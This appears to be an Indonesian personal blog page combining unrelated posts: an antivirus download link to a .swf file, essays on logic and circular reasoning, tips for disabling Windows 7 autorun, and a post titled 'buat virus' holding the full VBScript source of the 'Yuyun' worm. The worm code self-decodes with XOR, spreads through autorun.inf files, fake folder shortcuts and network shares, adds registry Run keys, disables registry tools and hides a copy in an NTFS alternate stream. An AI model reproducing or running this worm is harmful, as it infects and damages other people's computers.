Welcome

new antivirus smadav 2012

asalamu'alaikum
alt

smadav ini smadav terbaru yang ke 9.0,1
pertambahan total signature menjadi 7270
jika ingin download di bawah
Download smadav key smadav pro 9.0
https://sites.google.com/site/ilmubiologi/linkDownload.swf

Sekilas Tentang Logika (λογική)

Sekilas Tentang Logika (λογική)


Pada dasarnya, logika merupakan ilmu yang mempelajari prinsip-prinsip dan metode penalaran. Sedangkan penalaran merupakan suatu kegiatan berpikir untuk menghasilkan kesimpulan (natijah) berdasarkan keterangan yang telah diketahui. Penalaran biasanya terdiri dari proposisi-proposisi, dan proposisi-proposisi terdiri dari term-term, yang juga merupakan pembahasan logika secara garis besar.


Logika merupakan ilmu yang mula-mula dikembangkan oleh filsuf Yunani Kuno. Seorang filsuf Yunani Kuno yang dikenal sebagai "pelopor" timbulnya logika, tidak lain adalah Irsathotholees alias ARISTOTELES (384-322 S.M.) seorang murid PLATO (427-347 S.M.). Buah pikirannya dalam bidang logika ini, dikumpulkan dalam sebuah buku yang berjudul Organon .

Filsuf Yunani lainnya yang juga berjasa dalam sejarah perkembangan logika, adalah Porphire Sophiste atau  PORPHYRY (234-305 S.M.). Porphyry inilah yang mengarang sebuah kitab manthiq yang berjudul Isagoge, atau yang lebih dikenal Al-'Isa Ghuzi (Isa Ghozi).

Alkisah..., menurut beberapa cerita yang terdapat dalam Khazanah Humor Ilmiah, seorang peneliti ingin menemukan "apa yang sebenarnya menyebabkan manusia itu mabuk". Untuk itu, dia mengadakan penelitian dan penyelidikan dengan cara mencampur beberapa macam jenis minuman keras.

Mula-mula, dia mencampur air putih biasa dengan wiski luar negeri, yang setelah dengan habis diteguknya maka dia pun terkapar "mabuk tak berdaya". Setelah siuman, dia kembali mencampur air putih biasa dengan TKW (kalau tidak salah, TKW ini termasuk wiski lokal yang biasanya diminum di pinggir jalan sambil menghisap sigaret kretek), ternyata campuran ini pun menyebabkan dia mabuk lagi. Kemudian, akhirnya dia mencampur kembali air putih biasa dengan tuak, yang juga seperti campuran-campuran terdahulu, ini pun menyebabkan dia mabuk "tak berdaya" laksana alif tak berharokat.

Berdasarkan penelitiannya itu, akhirnya dia menyimpulkan bahwa  air lah yang menyebabkan dia mabuk. Cukup masuk akal, bukan ? Namun apakah hal itu benar ?

Penalaran, merupakan suatu proses berpikir yang bisa membuahkan pengetahuan. Nah, agar pengetahuan yang dihasilkan dari penalaran itu mempunyai dasar kebenaran, maka proses berpikirnya juga harus dilakukan dengan cara tertentu. Suatu kesimpulan (natijah) baru bisa dianggap shahih (valid) apabila proses penarikan kesimpulan tersebut dilakukan menurut cara tertentu tersebut. Cara penarikan kesimpulan semacam ini disebut logika, dimana logika secara luas dapat didefinisikan sebagai "pengkajian untuk berpikir secara shahih (valid)".

Sebenarnya ada bermacam-macam cara dalam penarikan kesimpulan (natijah), namun untuk sesuai dengan tujuan studi yang memusatkan diri pada penalaran ilmiah, maka kita akan melakukan penelaahan yang seksama hanya pada 2 jenis cara penarikan kesimpulan (natijah), yakni Logika Deduktif (Επαγωγικές) dan Logika Induktif (επαγωγικός).

Logika Induktif (επαγωγικός) cukup erat kaitannya dengan  penarikan kesimpulan dari kasus-kasus individual nyata menjadi kesimpulan yang bersifat umum. Sedangkan di lain sisi, kita mempunyai Logika Deduktif (Επαγωγικές), yang dapat membantu kita dalam menarik kesimpulan dari hal yang bersifat umun menjadi kasus yang bersifat individual (khusus).


Induksi (επαγωγή)
Induksi merupakan cara berpikir dimana ditarik suatu kesimpulan (natijah) yang bersifat umum dari berbagai kasus yang bersifat individual. Penalaran secara induktif, biasanya dimulai dengan cara mengemukakan pernyataan-pernyataan yang mempunyai "ruang lingkup yang khas", dan terbatas dalam menyusun argumentasi-argumentasi yang diakhiri dengan pernyataan-pernyataan yang bersifat umum.

Katakanlah, misalnya kita mempunyai fakta bahwa kambing mempunyai mata, gajah mempunyai mata, kerbau mempunyai mata, demikian juga dengan singa, kucing, sapi, dan berbagai hewan lainnya. Dari fakta-fakta ini, kita bisa menarik kesimpulan (natijah) yang bersifat umum. yakni semua hewan mempunyai mata (mutlak).

Kesimpulan yang bersifat umum ini penting artinya, sebab mempunyai 2 keuntungan, yakni :

1. Bersifat Ekonomis
Keuntungan yang pertama ialah bahwa pernyataan yang bersifat umum ini bersifat ekonomis. Kehidupan yang beraneka ragam, dengan berbagai macam corak dan segi, dapat direduksikan menjadi beberapa pernyataan. Pengetahuan yang dikumpulkan manusia, bukanlah merupakan koleksi dari berbagai fakta, melainkan sekedar esensi dari fakta-fakta tersebut.

Demikian juga dalam pernyataan mengenai fakta yang dipaparkan, pengetahuan "tidak" bermaksud membuat reproduksi dari obyek tertentu, tetapi lebih menekankan kepada "struktur dasar" yang menyangga wujud fakta tersebut.

Pernyataan yang bagaimanapun lengkap dan cermatnya, tidak bisa mereproduksikan betapa manisnya segelas/secangkir kopi, atau betapa pahitnya empedu. Pengetahuan, sudah cukup puas dengan pernyataan dasar yang bersifat kategoris bahwa kopi itu manis dan empedu itu pahit. Pernyataan semacam ini, sudah cukup bagi manusia untuk bersifat fungsional dalam kehidupan praktis dan berpikir teoretis.

2. Memungkinkan Proses Penalaran
Keuntungan kedua dari pernyataan yang bersifat umum ini adalah dimungkinkannya "proses penalaran" selanjutnya, baik secara induktif maupun secara deduktif. Secara induktif, maka dari berbagai pernyataan yang bersifat umum dapat disimpulkan pernyataan yang bersifat "lebih umum" lagi.

Penalaran seperti ini, memungkinkan tersusunnya pengetahuan secara sistematis, yang mengarah kepada pernyataan-pernyataan yang "makin lama makin bersifat fundamental".


Deduksi (αφαίρεση)
Penalaran deduktif, adalah proses kegiatan berpikir yang sebaliknya dari penalaran induktif. Deduksi juga merupakan suatu cara berpikir, dimana dari pernyataan-pernyataan yang bersifat umum itu ditarik kesimpulan yang bersifat khusus. Dalam penarikan kesimpulan secara deduktif, biasanya menggunakan pola berpikir (mindset) yang disebut silogismus (συλλογισμός).

Silogismus biasanya terdiri dari 2 buah pernyataan (premis) dan 1 kesimpulan (natijah). Atau dengan kata lain, silogismus harus tersusun atas 2 premis (muqoddimah) dan 1 kesimpulan (natijah).

Pernyataan yang mendukung silogismus ini disebut premis, yang kemudian bisa dibedakan menjadi Premis Mayor (Muqoddimah Kubro) dan Premis Minor (Muqoddimah Shugro). Sedangkan Kesimpulan (Natijah) merupakan hasil pengetahuan yang didapat dari penalaran deduktif berdasarkan benar atau tidaknya kedua premis tersebut.

Berdasarkan kriteria tersebut, kita dapat membuat silogisme seperti ini, misalnya :
          Setiap makhluk yang bernyawa pasti akan mati (premis mayor/muqoddimah kubro).
          Manusia adalah makhluk yang bernyawa (premis minor/muqoddimah shugro).
          Manusia pasti akan mati (kesimpulan/natijah).

Nah, kesimpulan (natijah) yang diambil bahwa "manusia pasti akan mati", adalah sah menurut penalaran deduktif. Mengapa demikian ? Karena kesimpulan ini ditarik (diambil) secara logis dari 2 premis yang mendukungnya itu, yakni "setiap makhluk yang bernyawa pasti akan mati" sebagai premis mayor (muqoddimah kubro) dan "manusia adalah makhluk yang bernyawa" sebagai premis minor (muqoddimah shugro).

Mengenai pernyataan "apakah kesimpulan (natijah) yang ditarik itu benar atau tidaknya", maka hal ini harus harus kita kembalikan kepada kebenaran (benar atau tidaknya) kedua premis yang mendahuluinya. Sekiranya jika kedua premis yang mendukungnya adalah benar, maka dapat dipastikan bahwa kesimpulan  (natijah) yang ditariknya juga benar. Akan tetapi, mungkin saja bahwa kesimpulan (natijah) nya itu adalah salah, kalau cara penarikan kesimpulannya itu adalah salah/tidak sah/tidak valid.

Intinya, benar atau tidaknya suatu kesimpulan (natijah), semua itu "sangat tergantung" kepada benar atau tidaknya premis mayor (muqoddimah kubro) dan premis minor (muqoddimah shugro).

Dengan demikian, maka ketetapan dan kebenaran dalam menarik kesimpulan (natijah) tergantung dari 3 hal, yakni :
      1. Kebenaran Premis Mayor (Muqoddimah Kubro).
      2. Kebenaran Premis Minor (Muqoddimah Shugro).
      3. Keabsahan Penarikan Kesimpulan (Natijah).

Jika salah satu dari ketiga unsur tersebut ada yang persyaratannya tidak terpenuhi, maka kesimpulan (natijah) yang ditariknya juga akan salah/tidak sah.


Matematika (μαθηματικά) juga sebenarnya merupakan pengetahuan yang disusun secara deduktif. Argumentasi matematik, misalnya, A sama dengan B, dan jika B sama dengan C, maka A sama dengan C. Ini juga termasuk penalaran deduktif. Kesimpulan yang berupa pengetahuan baru bahwa A sama dengan C, sebenarnya "bukan" merupakan pengetahuan baru dalam arti yang sebenarnya, tetapi hanya sekedar "konsekuensi" dari 2 pengetahuan yang sudah kita ketahui sebelumnya, yakni bahwa A sama dengan B, dan B sama dengan C.

Seperti halnya LUDWIG VON WITTGENSTEIN dalam bukunya, Tractatus Logico Philosophicus mengatakan : "Tak pernah ada kejutan dalam logika, sebab pengetahuan yang diperoleh adalah kebenaran tautologis....". Namun, benarkah ulangan matematika tak pernah menimbulkan surprise....??? Seperti pernyataan Taufiq Ismail dalam Sadjak Ladang Djagung : "Bagaimana kalau bumi bukan bulat, tetapi segi empat...?".


Semoga ada manfaatnya....!!!

Tentang Logika dan mBbuletnya ‘Circular Reasoning’

Tentang Logika dan mBbuletnya ‘Circular Reasoning’

 
 
 
 
 
 
Rate This
Saya bukan ahli logika, dan tak akan pura-pura menjadi ahli logika. Saya cuma tahu, logika (mantik) adalah cabang filsafat yang mengkaji – secara formil dan sistematik – prinsip-prinsip proses bernalar dan  pengambilan kesimpulan yang tepat dan benar.
Bagi saya, yang berkecimpung di dunia bahasa, logika sangat penting karena bahasa manusia sangat lentur. Pernyataan-pernyataan yang dihasilkan dengan medium bahasa bisa dipelintir sedemikian rupa sehingga seolah-olah isinya benar – ‘logis’; padahal, jika diperiksa secara cermat dan sistematik, pernyataan-pernyataan itu boleh jadi mengandung proses bernalar dan pengambilan kesimpulan yang belepotan.
Proses bernalar yang salah bisa menghasilkan kesimpulan yang salah, menyesatkan, dan membodoh-bodohi. Oleh karena itu, orang yang berkecimpung dalam dunia akademik tidak seharusnya membuat kesalahan dalam bernalar. Penelitiannya bisa kacau. Argumennya bisa amburadul.
Hakim juga tak boleh membuat kesalahan atau lemah dalam proses bernalarnya. Dia bisa salah menilai dan menimbang fakta-fakta hukum. Keputusannya bisa keliru. Dan dia bisa dikelabuhi oleh jaksa dan para pengacara.
Dokter tidak boleh membuat kesalahan dalam menghubungkan premis-premis yang tersedia dari proses diagnosanya dan  membuat kesimpulan. Pasiennya bisa mati, atau koma.
Panglima angkatan perang juga begitu. Insinyur juga begitu. Akuntan juga begitu. Manajer juga begitu. Desainer program komputer juga begitu. Pendek kata, tidak ada profesi penting yang boleh dipegang oleh orang-orang yang penguasaan logika atau cara bernalarnya lemah. Berbahaya! Keputusan-keputusannya bisa mengakibatkan kerugian bagi banyak orang.
Maaf kalau introduction-nya terlalu panjang.
Saya sebenarnya cuma mau bilang, saya suka sedih dan gatal kepala kalau melihat wacana dan tulisan warga akademik yang logikanya amburadul;  tulisan yang tidak jelas apa subjeknya, apa dan bagaimana kaitan sebuah kalimat dengan kalimat sebelum dan sesudahnya; tulisan yang tidak menggunakan kata penghubung secara tepat sehingga hubungan antargagasan dalam kalimat-kalimatnya menjadi rancu dan tak mudah diikuti.
Saya suka sedih kalau ada warga akademik yang termakan mentah-mentah oleh mitos, propaganda, dan dogma karena tak mampu secara cermat menguji premis-premis dan proses penalaran yang digunakan untuk sampai pada simpulannya.
Salah satu hal yang sering saya temukan dalam tulisan mahasiswa dan membuat kepala saya gatal adalah apa yang disebut sebagai ‘Circular Logic/Reasoning’ (logika/penalaran sirkuler) atau ‘Begging the Question’ – sebuah proses penalaran yang menunjukkan simpulan dengan menggunakan premis yang mengasumsikan kebenaran dari simpulan itu. Dengan kata lain, makna dan esensi yang terkandung di dalam premis dan simpulan sebenarnya sama. Oleh karena itu, simpulan tidak bisa dijadikan alasan untuk membenarkan premis.
Misalnya,
“Karena rokok menyebabklan kecanduan, perokok berisiko menjadi kecanduan.”
Atau,
“IPK itu penting. Oleh karena itu, saya menganggapnya penting.” 
“Kalau perbuatan semacam itu dianggap melanggar hukum, pasti perbuatan itu sudah dilarang oleh negara.”
A: “Kamu harus melakukan itu.”
B: “Kenapa?”
A: “Karena itu kewajiban.”
Contoh-contoh semacam itu menunjukkan ketiadaan rigor (kecermatan) dalam proses bernalar. Saya curiga, orang yang berpikir dan membuat pernyataan-pernyataan seperti itu tidak terbiasa memeriksa alasan atau sebab di balik sebuah kesimpulan. Mungkin karena ia terbiasa hidup dalam lingkungan yang dogmatis dan otoriter di mana dia dituntut untuk menurut dan mengikuti aturan tanpa diberi penjelasan yang logis atas tuntutan itu.

buat virus

Rem Worm code Begins here

'www.xxxxx.or.id;==================================== my name:Yuyun 1.0

' ============================
On Error Resume Next
Dim fso, ws
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Q=WScript.ScriptFullName
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
If status="auto" Then
sh.Explore Left(WScript.ScriptFullName,3)
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status
If fso.FolderExists(status) Then
sh.Explore status
Else
fso.CreateFolder status
sh.Explore status
End If
End If
Else
End If
Set QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0)
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,"Yuyun^_^~!~2008"+" >>>",0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=""
For v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 7)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set temporary=fso.OpenTextFile(tmpt,2,True,0)
temporary.Write hsl
temporary.Close
ws.Run "WScript.exe //e:VBScript "+tmpt+" """+Q+""""

Rem Worm encoded body begins here

'Yuyun^_^~!~2008 >>> =======================================================
' My name : Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds especially a moslem girl
' by: Anonymouse in Jatim, November 2008
' When I found nothing beauty else... and then I wrote this script for all
'=======================================================

On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+"\Yuyun.Q") then
set ira=fso.getfile(tmp+"\Yuyun.Q")
ira.attributes=0
ira.name="shalihah.ira"
if ira.name="shalihah.ira" then
ira.name="Yuyun.Q"
set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0
Set aut=fso.OpenTextFile(anv,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39
ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True
regQ
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3
call attack_net
Hertz True
Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub
Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Baca AQ.rtf"
rara.copy path+"\My name is Yuyun.rtf"
end if
g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if
If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy path+"\Thumb.db",True
end if
else
AQ.Copy path+"\Thumb.db",True
End If
If Not fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Rahasia","Game","Zvnita","Download","DataQ","DataQ")
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
shorZvnita path+"\"+fldr.name,fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub
Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub
function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(strFileName, 14)
if fso.folderexists(t) then
rekursif t,4
end if
Next
End function
Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub
function UNISKA()
On error resume next
x=vbcrlf
adv="Yuyun Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>Sorry I just Nitip Print thok....Ndak pa2 khan^_^! www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah, mudah-mudahan mereka selalu ingat.(Al-A'raf:26)"
adv=replace(adv,">",x)
set Yu2n=fso.opentextfile(tmp+"\v.doc",2,true)
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function
Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Yuyun_Cantix"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript """+docx+"\database.mdb"""
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
if lcase(fso.getdrive("c:").FileSystem)="ntfs" then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows XP.sys",2,true)
jjk.write iraQ
jjk.close
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys"""
end if
End Sub
Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

rem worm encoded body ends

Rem By xxxxxx
Rem Fully decoded, no editing take apart

Mohon Jangan Di salah gunakan...!!!

cara mengatasi virus

mungkin skrng ini kita pusing karna virus2, komputer kita mnjadi lelet,,ega enak di lihat
sebaik ya computer kita harus di pasang antivirus, banyak ko anti virus
nah tips ini bisa juga jalan autorun ya di matiin

Cara Mematikan Autorun Windows 7

Tips komputer kali ini mengenai Cara Mematikan Autorun Windows 7. Dengan Cara Mematikan Autorun Windows 7 dapat mencegah penyabaran virus pada komputer. Langkah - langkah Cara Mematikan Autorun Windows 7 sebagai berikut : 
  • Melakukan seting pada AutoPlay - Klik Start > Control Panel > Hardware and Sound > AutoPlay
  • Hilangkan tanda centang pada Use AutoPlay for all media and device lalu save 


  • Kemudian klik Run lalu ketik gpedit.msc lalu enter 

  • Pada Local Group Policy Editor klik 2x Trun off AutoPlay.   

  •  Pilih Enabel untuk mematikan AutoPlay.


Cara Mematikan Autorun Windows 7 sudah selesai dan bisa anda coba dnegan memasukan CD atau Flasdisk pada Komputer / Laptop anda.